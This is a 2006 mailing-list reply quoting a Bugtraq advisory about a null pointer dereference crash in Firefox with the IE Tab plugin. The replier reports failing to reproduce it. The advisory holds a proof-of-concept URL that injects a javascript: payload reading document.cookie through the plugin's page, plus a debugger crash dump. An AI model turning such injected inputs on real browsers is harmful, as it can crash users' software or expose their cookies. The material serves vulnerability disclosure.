Using Firefox 1.5.0.3 and IE Tab 1.0.9 on a Windows XP Pro SP2 +
latest patches, I was unable to reproduce this using your PoC
provided.

I created a new tab, pasted the URL you provided into it, hit enter
and received an 'Action Cancelled' page from IE. Neither Firefox nor
IE crashed.

Was there something more to the bug that I am not seeing?

Regards,
Roman

> ---------- Forwarded message ----------
> From: "Debasis Mohanty" <debasis@hackingspirits.com>
> To: <bugtraq@securityfocus.com>
> Date: Wed, 17 May 2006 23:48:23 +0530
> Subject: Firefox (with IETab Plugin) Null Pointer Dereferences Bug
> Firefox (with IETab Plugin) Null Pointer Dereferences Bug
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^
> Vendor: Mozilla
> Product: FireFox with IE Tab
>
> Tested On:
> FireFox Version 1.5.0.3 + IE Tab Version 1.0.9 + Windows (XP / 2K)
>
> Introduction:
> IETab (https://addons.mozilla.org/firefox/1419/) is a recently released
> (April 12, 2006) plugin for Firefox. It is used to browse IE (only) speci=
fic
> sites under Firefox. Guess what ?? You can run windowsupdate under FireFo=
x
> ;-)
>
> Bug Details:
> Firefox with the IETab installed crashes when ietab plugin is unable to
> handle specific javascripts. It seems to be a null pointer dereference bu=
g.
> For more details refer the PoC section.
>
> Proof-of-Concept:
> Copy & paste the following URL to the Firefox addressbar and press enter =
-
>
> chrome://ietab/content/reloaded.html?url=3Djavascript:alert(document.cook =
ie);
>
> Note: This test will not work if IETab is not installed.
>
> The Registers details after the crash:
>
> (1e4.3e0): Access violation - code c0000005 (first chance) First chance
> exceptions are reported before any exception handling.
> This exception may be expected and handled.
> eax=3D00000000 ebx=3D00000000 ecx=3D019499b4 edx=3D00000000 esi=3D7712174=
b
> edi=3D00000000
> eip=3D0192e7dc esp=3D0012eac4 ebp=3D00000000 iopl=3D0 nv up ei pl=
zr na po
> nc
> cs=3D001b ss=3D0023 ds=3D0023 es=3D0023 fs=3D0038 gs=3D0000
> efl=3D00010246
>
> npietab!NP_GetEntryPoints+0xb8ac:
>
> 0192e7dc 668b10 mov dx,[eax]
> ds:0023:00000000=3D????
> 0:000> g
> (1e4.3e0): Access violation - code c0000005 (!!! second chance !!!)
> eax=3D00000000 ebx=3D00000000 ecx=3D019499b4 edx=3D00000000 esi=3D7712174=
b
> edi=3D00000000
> eip=3D0192e7dc esp=3D0012eac4 ebp=3D00000000 iopl=3D0 nv up ei pl=
zr na po
> nc
> cs=3D001b ss=3D0023 ds=3D0023 es=3D0023 fs=3D0038 gs=3D0000
> efl=3D00000246
> npietab!NP_GetEntryPoints+0xb8ac:
> 0192e7dc 668b10 mov dx,[eax]
> ds:0023:00000000=3D????
>
>
>
> For more vulnerabilities : http://hackingspirits.com/vuln-rnd/vuln-rnd.ht=
ml
>
>
> Credits:
> Debasis Mohanty (aka Tr0y)
> www.hackingspirits.com